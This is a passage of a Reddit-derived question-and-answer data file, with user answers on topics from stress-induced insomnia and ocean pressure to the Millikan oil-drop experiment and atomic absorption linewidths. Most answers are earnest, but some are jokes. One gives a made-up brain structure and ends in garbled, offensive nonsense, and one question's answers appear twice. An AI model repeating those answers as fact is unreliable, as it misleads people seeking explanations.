"title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1lhy98", "title": "why can't i eat or sleep when going through a really stressful situation", "selftext": "I've just been dumped by my ex-girlfriend. I find myself with a year and a half son to take care of, a big mortgage to pay alone, and a couple of others financial problems. It's been two weeks now and I don't get it why my body doesn't want me to eat or sleep?\n\nI mean ... my decision making skills are degrading by the minute because of the sleep deprivation. I'm tired as fuck but every time I put my head on a pillow, my mind starts going at 100 mph and I can't sleep. \n\nI can't put a thing in my mouth without having the sensation that I'm going to throw up and I've lost a lot of weight. I'm getting weaker each day and that doesn't help me with all the problems I need to solve. \n\nHow can that help me get through a really really though situation ? I need to be on top of my game but my body is just letting himself deteriorate ... I don't get it !\n\nTLDR: Why can't I sleep or eat when I most need it ?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1lhy98/eli5_why_cant_i_eat_or_sleep_when_going_through_a/", "answers": {"a_id": ["cbzeigh", "cbzeyrz"], "score": [2, 4], "text": ["I can only offer something that helps me sleep. I put on some relexing music and try to focus on that. Usually works, though my problems don't seem as bad as yours to be honest. ", "Glucocorticoids.  Your body releases these hormones in stressful situations to aid in the ol fight or flight response, (Back from when our stressors required such response ..  Being stalked by a large predator, etc.  Issue is that we now feel stress in situations that don't require these reactions so these chemicals aren't properly processed out of the body easily. Prolonged stress just makes it harder to Down regulate. \n\nWhen i am stressed, i sTop all alcohol and Caffiene to allow my system to moderate.  I Drink a ton of water and workout.  For me this works within a few days...."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "jase5", "title": "why does space travel seem to be easier than visiting the depths of our own oceans?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/jase5/eli5_why_does_space_travel_seem_to_be_easier_than/", "answers": {"a_id": ["c2ak50f", "c2akchl", "c2akmk6", "c2aljcw", "c2alw7a", "c2am1sh", "c2amk8l", "c2amng8", "c2anrr7", "c2ak50f", "c2akchl", "c2akmk6", "c2aljcw", "c2alw7a", "c2am1sh", "c2amk8l", "c2amng8", "c2anrr7"], "score": [32, 4, 11, 10, 2, 3, 8, 9, 4, 32, 4, 11, 10, 2, 3, 8, 9, 4], "text": ["Space: Little gravity, no oxygen.\n\nDeep sea: No oxygen, massive pressure.\n\nWe have ways to get into space, but nothing to stop our heads from crushing in while underwater. It's just a matter of time.", "The easiest way to explain this would be like this:  We live in a pressure of ~1bar (appx equal to 14.7psi or... 34 feet of water).  Space is a vacuum, or near 0bar (or 0 psi, 0 feet of water).  \nWhen designing a vessel we need to consider the difference of the pressure inside the vessel and outside the vessel.  When in space, the difference in pressure is 1bar (because we hold 1bar in the vessel and theres a pressure of 0bar outside).  The average depth of the ocean is 14000 feet, and  the pressure there is 412bar.  That means to go deep into the ocean we need to design a vessel that holds a 1bar pressure inside the vessel, while there is a 412bar (or even higher the deeper you go) outside the vessel.  That's a difference of 411bar!!! \n\nSo to shorten, the pressure difference deep in the ocean is hundreds of times larger than the pressure difference in space.  We simply haven't created a vessel that can hold human life safely under these conditions.", "The absolute maximum pushing of a spaceship hull in space is one atmosphere.\n\nThere is no maximum squeezing on a submarine hull in the ocean. Every ten metres you go down adds another atmosphere of pressure.", "I'd like to think it's because people in charge thought getting into space was the next cool thing to do, so they spent as much money as was necessary. I believe that if the same amount of money and effort was spent for exploring the sea, we would have already nailed it.", "It's not. Getting to space costs thousands of dollars per pound, and sometimes your vehicle explodes.", "How many atmospheres is this ship designed to withstand?\n\nWell, its a spaceship, so between 0 and 1. ", "Nice try, shaaaaarks.", "Havent you played bioshock? Theres some crazy shit down there.", "What I find so incredible is that while we are trying to figure out how to construct complex vehicles to keep us safe inside the oceans, there are actually creatures already living at such depths with no problem.", "Space: Little gravity, no oxygen.\n\nDeep sea: No oxygen, massive pressure.\n\nWe have ways to get into space, but nothing to stop our heads from crushing in while underwater. It's just a matter of time.", "The easiest way to explain this would be like this:  We live in a pressure of ~1bar (appx equal to 14.7psi or... 34 feet of water).  Space is a vacuum, or near 0bar (or 0 psi, 0 feet of water).  \nWhen designing a vessel we need to consider the difference of the pressure inside the vessel and outside the vessel.  When in space, the difference in pressure is 1bar (because we hold 1bar in the vessel and theres a pressure of 0bar outside).  The average depth of the ocean is 14000 feet, and  the pressure there is 412bar.  That means to go deep into the ocean we need to design a vessel that holds a 1bar pressure inside the vessel, while there is a 412bar (or even higher the deeper you go) outside the vessel.  That's a difference of 411bar!!! \n\nSo to shorten, the pressure difference deep in the ocean is hundreds of times larger than the pressure difference in space.  We simply haven't created a vessel that can hold human life safely under these conditions.", "The absolute maximum pushing of a spaceship hull in space is one atmosphere.\n\nThere is no maximum squeezing on a submarine hull in the ocean. Every ten metres you go down adds another atmosphere of pressure.", "I'd like to think it's because people in charge thought getting into space was the next cool thing to do, so they spent as much money as was necessary. I believe that if the same amount of money and effort was spent for exploring the sea, we would have already nailed it.", "It's not. Getting to space costs thousands of dollars per pound, and sometimes your vehicle explodes.", "How many atmospheres is this ship designed to withstand?\n\nWell, its a spaceship, so between 0 and 1. ", "Nice try, shaaaaarks.", "Havent you played bioshock? Theres some crazy shit down there.", "What I find so incredible is that while we are trying to figure out how to construct complex vehicles to keep us safe inside the oceans, there are actually creatures already living at such depths with no problem."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "7vg0r3", "title": "What is my computer doing when it's pretending to troubleshoot?", "selftext": "I am having trouble connecting to the Wi-Fi at school. On Chrome the \"There is no Internet Connection\" page has the option to run Windows network diagnostics. Clicking on the option takes you to a loading screen where it says it's checking and troubleshooting all sorts of things, and it's final conclusion is to find the Wi-Fi router and turn it off and on again. This is like a bad joke from the IT Crowd! \n\nWhat is my computer doing when it says it's troubleshooting things? Is that just a button to press to make users think their computer is an omniscient being with the illusion of control? Does it ever actually, after going through all those loading screens that say \"detecting problems\", detect a problem and then solve it? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7vg0r3/what_is_my_computer_doing_when_its_pretending_to/", "answers": {"a_id": ["dts2ip2", "dts7gy8", "dts9uf5", "dtszuci"], "score": [79, 8, 33, 3], "text": ["Network failures are a central cause of grief not only in our daily lives, but also large fields of study, like distributed systems. Because of their impact, they are a very well studied area.\n\nOperating system suppliers have a unique position: being able to gather large amounts of data about what causes network failures in un- or semi-managed small scale networks. These are compiled into checklists, such as this [MSDN](_URL_2_) page describing common failure scenarios. Some of these failures can be [approached](_URL_1_) in an automated manner.\n\nAn automated troubleshooting system may try diagnosing some of those problems, even though false negatives aren't out of the question. Suggestions like resetting your wireless AP work because it is simpler and more feasible to try to bring a computer in a \"known-good\" state rather than trying to pinpoint the exact failure state and history that got it there [in the first place](_URL_0_) (Prof. Armstrong elucidates this problems extremely cleanly at around 15:45, but I suggest you watch the entire 15 minutes before it for a good background).", "There was a time when trouble shooting would fix my connectivity problems every time and happened maybe once a month at its peak. After, it would tell me no problems were found and I could resume interneting. I'm a software engineer, and although I've never worked on an OS, I'm all too familiar with various services that get stuck in some sort of not working but not overtly failed state. The trouble shooter, I imagine, goes through the various networking services that are running and sends them a payload that basically reports if it's alive or not. if not, restart it. Like /u/mfukar said, they have a wealth of data re: networking failures, so the methods for fixing individual services, as well as deducing the most probable explanation, have probably gotten more sophisticated and can sort themselves during runtime in some cases. The troubleshooter might also be a place to store temporary, hacky fixes until the root issue can be addressed. These are educated guesses based on my experience building RESTful APIs, which differs greatly from building an OS, but the methods built in to report the health of a given service tend to be iterated upon in weird ways as the result of encountering edge cases that induce partial failures that circumvent self-restarts and the like. ", "It depends on your operating system, but those troubleshooters *do* actually do things.  They just don't tell you what they're doing because they average user doesn't know what the laundry list of console commands going on in the background mean, and they don't seem like they ever fix anything because more often than not, a networking problem isn't something that can be fixed by a few console commands on the end user's workstation.\n\nThe windows \"troubleshoot\" basically does some ping tests to the default gateway, does a /flushdns and a /registerdns, refreshes DHCP (if enabled), and disables/re-enables the network adapter.\n\nIf your issue is related to one of those things then it actually does a pretty solid job of fixing them.  The problem is 99.9999999999999% of network problems... aren't those :p", "In fairness to the computer, one of the reasons those tests take time is because the computer has to wait for the other end to fail to respond. You have to give the other end a few seconds, because in some special circumstances it may take that long for a _working_ system to respond. A diagnostic that tells you your network _isn't_ working when it _is_, it's just slow, is even more of a pain than the _IT Crowd_ joke you get now.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=lKXe3HUG2l4", "http://faculty.education.illinois.edu/j-levin/Network-Problem-Solving/", "https://msdn.microsoft.com/en-us/library/dd163567.aspx?f=255&amp;MSPPError=-2147217396"], [], [], []]}
{"q_id": "341h8g", "title": "what is happening in the brain when i just 'zone out' of a conversation with someone and get a glazed look over my face?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/341h8g/eli5_what_is_happening_in_the_brain_when_i_just/", "answers": {"a_id": ["cqqfvv4", "cqqgjz1"], "score": [53, 23], "text": ["I am not a specialist on this topic, but there may be a reason behind in a form of brain focus. Your brain never perceives everything in once, otherwise it would get overwhelmed and would not be able to process either signal properly (i.e. not being able to make sense out of anything seen, heard, felt, etc.). This means it has to filter some elements out, those which the brain deems \"not important\".\n\nThis is particularly useful when, for example, walking on a street. You don't pay such an attention to that small fresh bubble-gum on the sidewalk, you notice small text much less often, etc.\n\nAs it seems your brain just sometimes feels the conversation is not that important and indulges your mind into thinking about something else. Imagine talking to someone about his car, suddenly your brain shifts your mind into thinking about your car insurance, which is going to expire soon ... and bam! You have zoned out. \n\nEither that would explain it, or you may have a problem with concentration (maybe a mild form of ADHD, that is).", "So your brain has a part of it dedicated to conversation this is called the conversional lambiroia majoris. When this area of your brain is stimulated you are able to follow conversations and contribute. When you \"zone out\" this area of your brain is busy processing other information.  Sort of like when your computer defrags the hard drive. So god also ears corn and that's all that has to happen for homosexuals at system of. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3v6htw", "title": "why do news articles attract the most ignorant, bigoted and angry online comments?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3v6htw/eli5_why_do_news_articles_attract_the_most/", "answers": {"a_id": ["cxkpuh6", "cxkzhyn"], "score": [2, 2], "text": ["Because out of touch old people are the most likely to hold bigoted, hateful beliefs, and they also happen to be the only people dumb enough to bother commenting directly on the article", "Because angry/passionate people are the most likely to comment.emotionally,it's one of the best motivators,probably because it triggers some amount of \"us vs them\" survival mechanisms.\n\nIt's just pretty easy to get that sort of person riled up.\n\nWhen you're reading an article about say,Syrian refuges,most people are probably sad,or don't care too strongly,and just moves on.but the small minority who are bigoted get pissed off reading that article,and are much more likely to post than the general population.\n\nAdd in that the Internet is anonymous so they know they can get away with it,or even get support from other bigots"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "to12l", "title": "You're cold, and have a small warm object (say tennis ball sized). Where should you place it for maximum warmth?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/to12l/youre_cold_and_have_a_small_warm_object_say/", "answers": {"a_id": ["c4o94sb", "c4o94yj", "c4o95dx", "c4o9v9g"], "score": [10, 2, 26, 4], "text": ["I'd say under your left armpit, it's the closest you can get to your heart and provides the most surface area and contact to your body with the added advantage of it being close to your heart, the one place blood has to flow through.", "There's quite a few variables to consider here, such as whether you're clothed or not and/or whether you're stationary or not. But I would say your best option to gather as much warmth from the object as possible would be to huddle into a ball position with the object pressed against your body, probably near the heart so it could spread that heat to your extremities as much as possible. This is if you're stationary and don't need to move. \n\nThe ball position would allow more surface area of your body to touch the object while also trapping in the heat more efficiently than would be otherwise possible. \n\nIf that doesn't make sense, then try to imagine holding the object in your hand with your palm open. Now imagine holding the object in your hand with your fingers wrapped around it. The second option is much more efficient due to the increased surface area touching the object and the effect that is created by trapping in the heat between the surfaces of your hand. \n\nIf you were clothed, then you would want to put the object beneath your clothing and against your skin, which would trap the heat between your body and the clothing, thus keeping you even warmer. \n\nIt's all about increasing your body's surface area against the object and trapping in the irradiating heat as much as possible. Heat that escapes is heat that doesn't keep you warm.\n\nIf you need to travel, then I would suggest putting the object near your heart so that the heat warms the blood in your heart and around it. As you walk, your heart will beat faster and spread more of the warmed blood to the rest of your body (and more quickly) than it would if you were stationary or if you held it against your body elsewhere. You could also hold it against your neck, where the jugular vein exists, which carries a lot of blood. But unless your neck is clothed, I would suggest somewhere beneath clothing to help trap in heat, so near your heart is likely your best bet in either situation, especially as you want to protect your vital organs as much as possible, which are located near the heart. You can lose your limbs and still survive, but you can't lose many of your organs and say the same. \n\nEdit: Another commenter made a good point. Your armpit is a good location as well. If you needed to move, then that might be the best place to keep it. It would also free your hands, if you needed them. If you didn't, then you could place your hands in your armpits to help keep them warm. Holding the ball near your chest with your hands would also work, but having them in your armpits and even with one hand against the object, would probably be more efficient due to the increased trapped heat. ", "For maximum heat transfer, you'll want as little heat loss as possible, covering both conductive and radiative modes of heat transfer. Therefore, _inside_ you will be best.", "Being completely serious here; in your ass. Maximum surface area contact. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "ok8qs", "title": "the oil-drop experiment by robert millikan.", "selftext": "Please, the concepts are way to complex. Thanks!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/ok8qs/eli5_the_oildrop_experiment_by_robert_millikan/", "answers": {"a_id": ["c3hxi6g", "c3hxle1"], "score": [2, 18], "text": ["We compare the motion of tiny drops of oil, in and out of an electric field. When the electric field is on, the ones with a static charge move a little differently. By measuring many hundreds of drops this way, we can figure out how big an electron is.\n\nFirst, we set up two plates of metal. By putting a charge separation between them, it makes a nice predictable electric field that we can turn on and off.\n\nWe spritz a little cloud of oil droplets in between the plates, and time how long it takes them to fall a certain distance. Then we turn the field on. If the droplets have a static charge on them, they'll fall more slowly, or even be pushed up. The key observational data is two parameters for each oil drop: how it moves without the field, and how it moves with the field.\n\nThen we do some (pretty complicated) math. From the falling rate without the field, we can determine the *mass* of each drop of oil. From the rate with the field, we can determine the *charge* on each drop. \n\nThen, by plotting a histogram of all the many hundreds of charges, we find that they always come in multiples of a certain amount. Each drop has a static charge of one or a few electrons, so the total charge is always a multiple of the charge on each electron.\n\nWe can resolve the static charge on tiny drops of oil down to individual electrons, and so calculate the charge on a single electron.", "I actually did this experiment last year, and it was a lot more complex than I had thought, but the underlying principles are mostly straightforward:\n\nOil is sprayed into a chamber in a fine mist. The particles (droplets) are pretty small, but you can see them. Then, the droplets are exposed to radiation which will quite literally knock electrons off of the oil drops, leaving them with a net charge (same idea as static electricity).\n\nNext, an electric field is applied and you watch the droplets and see how fast they move (they will move since they have a net charge, since you knocked electrons off). The idea is that you will see droplets move only at certain speeds, because you can only knock whole numbers of electrons away from the drops. \n\nNow suppose you see drops moving at 3 mph, 6 mph, 9 mph, etc. If you watch long enough to conclude that the drops will only move at these speeds (never at 5 mph), you can say, \"Hey, if I knock off one electron, then it will go 3 mph, if two get knocked off, then it will go 6 mph, so the effect of one electron of charge is 3 mph!\"\n\nThen you can use what you know about the electric field you used, the size of the drops and all that to figure out the charge of that one electron.\n\nThis experiment is very hard because the charge of one electron is tiny, and experimental error will not give you perfectly spaced speeds, so you need to observe for a long time to conclude what that smallest possible charge is (Milikan took data for over 2 years)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "c0xw21", "title": "Does the increase in education costs lead to a lower level of education at a given generation level?", "selftext": "And more important: are they studies that point a significative impact on the competitivity of a country over a long period of time (at least 10 years)?\nThe question focus especially US where the cost of education skyrocketed the last 25 years but may be other countries experienced similar phenomenon.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/c0xw21/does_the_increase_in_education_costs_lead_to_a/", "answers": {"a_id": ["er95v0g", "erbkfq2", "ernxa3d"], "score": [15, 3, 2], "text": ["Yes, students are price-sensitive consumers just like anyone else. [There is a large body of work that shows that students respond to tuition increases by enrolling at lower levels.](_URL_4_) Predictably, this means that poorer students are the first to choose not to enroll, which leads to a [disproportionate impact among minority and disadvantaged students](_URL_2_).\n\nWe have already seen a demographic shift in the USA. [Twenty or thirty years ago the US was #1](_URL_0_) in the world for population with a tertiary education. [We have since fallen behind thirteen other countries.](_URL_1_) This is explained by those other countries increasing public support for higher education at a time when the USA has been steadily reducing funding for higher education for decades. \n\n[Public funding for higher education has been slashed dramatically over the last ten years specifically](_URL_3_), and this reduction explains most of the tuition increases seen over that time interval at public four-year colleges and universities. These cuts started as higher education was a convenient target in the wake of the 2008 recession and the ensuing public tax revenue loss, however, education funding has not rebounded along with the rest of the economy. Public in-state tuition in some states has risen 60% over that timer period. Since the public option is the usually the most affordable education for students, this is the factor most responsible for pushing students out of the higher education system.\n\nEdit: Also, it's important to point out the end-result for students. Despite the wild stories about students with $100,000 or $200,000 debts, [two-thirds of college graduates leave with less than $20,000 in debt and 90% leave with less than $40,000 in debt](_URL_5_). The economic benefit of 4-year degree from a college or university far surpasses the cost of this debt, and the average 4-year degree holder makes more than twice the average high school degree holder over their lives (cite is same as previous). This amounts to more than a million dollars in earnings over a lifetime. Even though tuition has increased, the *lifetime benefit* of an education far surpasses the cost, so those with the means to attend college in the first place will likely continue going if they are able to.", "Does this mean that it doesn't really matter that fees are high? We just take our more loans and not pay them back? I'm in the UK but I think we have a similar situation here.\nOr are there upfront costs that may be prohibitive like living expenses?\nHas the population just seen high numbers and avoided it?", "No one has yet answered OP's \"more important question.\"  Please don't delete this comment -- I genuinely would like to know if *anyone* has looked at the secondary economic indications of rapidly rising college tuition. Will nations with support for public college education likely enjoy a significant advantage in research, innovation, technologically-demanding industry growth, etc. over nations without, as increasing economic inequality ultimately eliminates the possibility of college for more and more people in the US? Like, maybe the high-prestige universities will continue to produce bleeding-edge research, but what if there simply aren't enough qualified lab techs, practitioners and that kind of personnel to actually support the industries that follow breakthroughs?  Perhaps they'll just outsource those operations to nations that *DO* support public education?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://ourworldindata.org/tertiary-education", "https://www.pbs.org/newshour/education/most-americans-dont-realize-state-funding-for-higher-ed-fell-by-billions", "https://www.insidehighered.com/news/2018/03/27/increases-college-tuition-drive-down-diversity-public-colleges-study-says", "https://www.cbpp.org/research/state-budget-and-tax/unkept-promises-state-cuts-to-higher-education-threaten-access-and", "https://collections.lib.utah.edu/details?id=705217", "https://www.brookings.edu/research/eight-economic-facts-on-higher-education/"], [], []]}
{"q_id": "8hjbrd", "title": "how are cortisol and testosterone levels both highest in the morning? don\u2019t they work against eachother?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8hjbrd/eli5_how_are_cortisol_and_testosterone_levels/", "answers": {"a_id": ["dyk8u7j"], "score": [4], "text": ["To add to this... If people have different circadian rhythms, is it still universally higher in the morning?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "152ywi", "title": "How did large global organizations (businesses and governments) communicate effectively throughout history prior to the invention of electrified communications?", "selftext": "This will seem terribly broad and vague, but something I've been curious about for a while is how large organizations managed and coordinated within themselves and between their various departments before the invention of telephones, telegraphs, radios, etc.\n\nWhat spurned my interest initially was I can't fathom how how colonial European governments managed their various colonies with the wait times for mail-by-ship, or how global businesses, like the Dutch East India Company (VOC) and the British East India Company could get anything done without telephones, radios, or telegraphs.\n\nI'd be curious to hear about medieval and ancient considerations too-- how did the Holy Roman empire communicate across its span, the Mongols, Achaemenid Persia, China, Rome (I'd heard anecdotally that Julius Caesar was famous for showing up with his armies before the messenger announcing them could show up, sweet roads bro).\n\nBasically, if you are an expert regarding an organization that had large concerns (geographically speaking) for a specific time period, I'd love to hear about how that organization managed its affairs with the communications technologies it had access too.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/152ywi/how_did_large_global_organizations_businesses_and/", "answers": {"a_id": ["c7iz8sn", "c7izvy2", "c7j2qip", "c7j3mpg"], "score": [15, 4, 3, 6], "text": ["As a rule, throughout time and even now, when you can't be there to do something yourself you hire someone and put them in charge of the matter. If you have a trade agreement that needs dealing in but is lets say, across the Atlantic in the early 19th century, you take someone that you trust with your business and plop them on a ship. They would be of course well informed about your business affairs and would have a good understanding of what you wanted out of this bargain, and what you did not want out of it. After he completes his voyage out, he negotiates the deal, and then returns home. \n\nThis scenario assumes the most complicated matter you're likely to encounter. If you have an office in the same area as whom you are trying to treat with you could simply send a letter stating your intentions and all the previously mentioned necessary information. That regional actor should be more than capable of handling business matters in your stead.\n\nWere there issues with this system? Yes, I'm sure of it, mistakes are very common in business, even today.", "The name of their office is (maddeningly) escaping me, but Charlemagne empowered people to act as his agents, and sent them around to constantly check up on local government and local actors. These powerful men would bring complaints or suspicions back to the king, and helped keep the local leaders honest. ", "The [Hudson Bay Company](_URL_0_) with headquarters in Winnipeg and London, which had a huge trade empire in what is now Canada, used the following:\n\n* Representatives called factors (Local agents who traded, mainly manufactured goods for furs, according to written orders.) \n\n* A transportation network based on canoes to transport the goods and furs and keep contact between the Headquarters and factors.\n\n* Yearly gatherings at Fort William\n\n* Extensive inspection travels by the company's governor.\n\nSource: Caesars of the Wilderness by Peter C. Newman.", "Things went a lot slower, of course. This is, famously, why the battle of new Orleans was fought after the Peace treaty having been signed on December 24, 1814. \n\nA book that you should read if you want to know how multinational trade functioned in 1400 is \"The Merchant of Prato\" by Iris Origo. She cites professor Melis article in \"Economia e Storia\" 1 and 2, 1954. The following gives you some idea how it all worked.\n\nThe Italian cloth merchant sent an order for wool in November 1394 to his office in Majorca. Next  April, he sent an agent to Majorca to collect the wool. Traveling from port to port and repackaged in Pisa, the wool finally arrived in Prato in January 1396. Now the merchant had it made into cloth, which took about six months. (Wool treatments, spinning, weaving, treated again, dyed, pressed and folded). Then he could sent it back to Majorca for sale (by mule back over the Apennines to Venice because the Tuscan ports were closed to Florentine trade at the time). The cloth reached the Palma de Majorca office on September 1st, 1396.  The cloth was difficult to sell because of the plague at Palma de Majorca at the time, and the colors proved unpopular. So the Majorca office shipped the cloth first to Valencia and the remainder, which could not be sold there, to Barbary (North Africa), where the last part was sold by spring 1398.\n\nFrancesco and his partners made a profit of 8.9%, but it took 3,5 years to complete the transaction. Costs were listed as:\n\n* 15% raw materials\n\n* 1% collecting and loading\n\n* 5% transportation\n\n* 4% packing\n\n* 6% insurance\n\n* 1% warehousing\n\n* 11% duties\n\n* 3% sales costs\n\n* 40% manufacturing"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Hudson_Bay_Company"], []]}
{"q_id": "7vlq5q", "title": "In the HBO show \"the Pacific\", most of the \"seasoned\" marines either don't wear sleeves or don't wear shirts at all when off duty, was this common?", "selftext": "Decided to start watching the Pacific recently. If you don't know, it is basically Band of Brothers but with Marines in the Pacific ocean rather than paratroopers in Europe. It is not as great as Band of Brothers, but what is?\n\nAnyway, a lot of the marines when they are away from the front, and quite often on the front, either are not wearing shirts, wearing unbuttened shirts, wearing their shirts with the sleeves pulled off, or some combination thereof. I understand that the tropics they were fighting in were hot as Hell, but was this practice of forgoing/cutting the standard issue uniform common, and how did upper command view the practice?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7vlq5q/in_the_hbo_show_the_pacific_most_of_the_seasoned/", "answers": {"a_id": ["dtueyy2"], "score": [8], "text": ["This is actually a rather interesting question, and one that does show up in many depictions of infantry combat, and even just ground and shore based formations in the Pacific, *Thin Red Line*, *Flags of My Father*, *Ba Ba Black Sheep*, etc all depict it to some extent. \n\nThough before we get into it:\n\n >  Decided to start watching the Pacific recently. If you don't know, it is basically Band of Brothers but with Marines in the Pacific ocean rather than paratroopers in Europe. It is not as great as Band of Brothers, but what is?\n\nPiss off with that nonsense. At the very least Sledge and Leckie weren't serial plagiarists who fought extensive battles with the truth. \n\nBut with that out of the way, the answer is basically yes for a whole lot of reasons uniform standards quickly slipped during the island and jungle fighting. Between issues with supply and providing sufficient changes of clothes, vs prioritizing ammo, food, water, and medical supplies from ship to shore. The at times inhuman humidity or blazing sun on the various coral atolls and jungle islands. \n\nAnd as units very often spent the entire battle on the island in question if it was too small, or weeks to months before being rotated out if larger there often was an attitude of if it isn't immediately important for fighting efficiency it can wait till after the fighting. \n\nBut that only applies for the sharp end of the spear, what about in supporting locations, assembly points for the great amphibious armada, or say air bases supporting forward locations. \n\nAnd the answer is basically that yes in many places, for much of the time, the officers and men would work in or wear what they could be comfortable in. This was not something hard and fast, and absolutely could be a function of predilections of a units officers and NCO's. But abundant evidence, and anecdotes exist for it being  the way of things in places across the Pacific. \n\nFor some good photographic depictions of a major installation that was not immediately on the front lines I would point you here to get a good first impression: _URL_2_\n\nIt was assembled by a user on r/warshipporn and depicts the history of Ulithi Atoll. Which for 6 months or so in 1944 was the primary forward fleet base for the Fast Carrier Force and the great Amphibious and Logistic train that followed. It also served as an airbase for Navy and Marine Aviators, and a recuperation nd rest point for men traveling through and had extensive repair facilities along with a large fleet anchorage. \n\nWe see Sailors and Marines at work and rest in multiple states of undress repeatedly. [Even when it seems ill advised like when working on a Corsair's engine](_URL_0_). But we have other times such as when [taking a break and looking out at the fleet anchorage](_URL_3_). [While officers were a bit more according to regs, even they were not impossible to find stripped for comfort.](_URL_1_). Not the dude in the end in his undershirt, while the sailor behind the bar is too.\n\nIt also of course could be very contextual, down at the beach or on the baseball diamond that was set up of course virtually everyone was stripped down. While when an Admiral was visiting suddenly everything was nice and tidy. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://i.imgur.com/SJDBK3L.png", "https://i.imgur.com/mIHjvO4.jpg", "https://imgur.com/a/mOvzk", "https://i.imgur.com/2jThAiX.jpg"]]}
{"q_id": "1rhffq", "title": "what is linkedin?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1rhffq/eli5what_is_linkedin/", "answers": {"a_id": ["cdna69q", "cdnax1f", "cdngpcx"], "score": [27, 5, 2], "text": ["Its a social networking website, like facebook or myspace, but its focus is on business relationships, not personal ones.", "It's very similar to Facebook in that everyone displays the best version of their professional selves, while being jealous of everyone else when they look at their colleagues made up job titles.\n\nAlso, a great tool for lazy recruiters that don't like picking up the phone.", "Social networking site that \"reeks of dudes with cellphone holsters\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3twm06", "title": "Photons of a specific frequency are absorbed by atoms. How precise must that frequency be?", "selftext": "I was taught that certain elements' electrons absorb and emit photons of specific frequencies.  Well, how specific must the frequency be?\n\nSuppose an element X absorbs photons of frequency F.  Would the atom absorb photons of frequency F+1?\n\nGiven that atoms are moving / rotating / not actually in one place at one time, how does this absorption even occur?  Wouldn't doppler shift cause the frequency to not ever be _exactly_ F?  Does the photon have to hit directly?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3twm06/photons_of_a_specific_frequency_are_absorbed_by/", "answers": {"a_id": ["cx9witb", "cx9yxdp", "cx9zcq4", "cx9ze7g", "cxa2btr", "cxa3by7", "cxa3hg1", "cxa8nuk"], "score": [95, 12, 9, 3, 2, 2, 8, 2], "text": ["Good question. There will always be a finite width to the absorption lines. This can be caused by the motion of the atom, which will doppler shift the photons a bit. That is generally the largest effect for atomic spectra, but if you could reduce the doppler broadening there would still be a finite width caused by the uncertainty principle, which you can roughly estimate as the Planck constant divided by the lifetime of the excited state.", "The jargon for the range of absorption frequencies, at least in nuclear magnetic resonance (NMR), is called \"line width.\"\n\nThe line width is of great concern to the NMR experimenter.  It is indeed always non-zero, meaning there is a range of frequencies which are absorbed.\n\nA situation in which we measure excessively wide lines is referred to as \"spectral broadening.\"  The sources/causes of broadening are often the subject of much analysis in an NMR study.\n", "As the others have said there will always be a width of the absorption line due to several things; doppler shift, temperature, coupling to environment etc.\nIn the very simplest approximation (but often very good though), we can model the absorption peak as a [Lorentzian](_URL_0_), i.e. by a function of the form:\n\nA(E) = Gamma / ((E0 - E)^2 + Gamma^2),\n\nwhere E0 is the energy of the excited state and Gamma is the linewidth (E is the energy of the photon: E = hv, h = Plancks constant, v = frequency). This function is sharply peaked at E0 but still has some non-zero value everywhere else. This means that there is always a probability of absorbing a photon no matter what frequency it has, even F+10000000 - it may just be very, very, very small...", "[Atomic clocks](_URL_2_) exploit this phenomenon to use atoms as resonators, so one fruitful avenue to explore your question is to look into atomic clocks:\n\n* How precise can an atomic clock be?\n* What are the factors that affect atomic clock precision?\n* What techniques are used to make atomic clocks as precise as possible?\n\nI'm far from an expert on any of this, but even I know that doppler shifts (which you bring up) are a major factor that affects the precision of atomic clocks, and that [laser cooling](_URL_3_) of atoms is [one of the major techniques used in the best atomic clocks to improve their precision](_URL_4_):\n\n >  By cooling the atoms in an atomic clock down, [Nobel-Prize winning physicist William] Phillips says that we can now measure the ticking frequency far better than before. \"When I started doing laser cooling, the very best clocks were accurate to a part in ten to the 13, so that\u2019s one part divided by 1, with 13 zeroes after it ... But today, those clocks are a couple and ten to the 16th,\" he says. That's almost three orders of magnitude better.\n\nThat 10^-16 is for cesium atomic clocks, which run at microwave frequencies.  The still experimental, upcoming generation of optical clocks is performing in the 10^-18 range:\n\n* _URL_0_\n* _URL_1_\n\nDoesn't really answer your question, but at least it gives you something to read...", "I do things with emitters and dichroic filters, and I can say the best filters I've seen have a line width of +-3nm (so 90% of this 514.5nm filter's energy is between 511.5 and 517.5).  These are things that are *designed* for steep curves, though.  Looking at 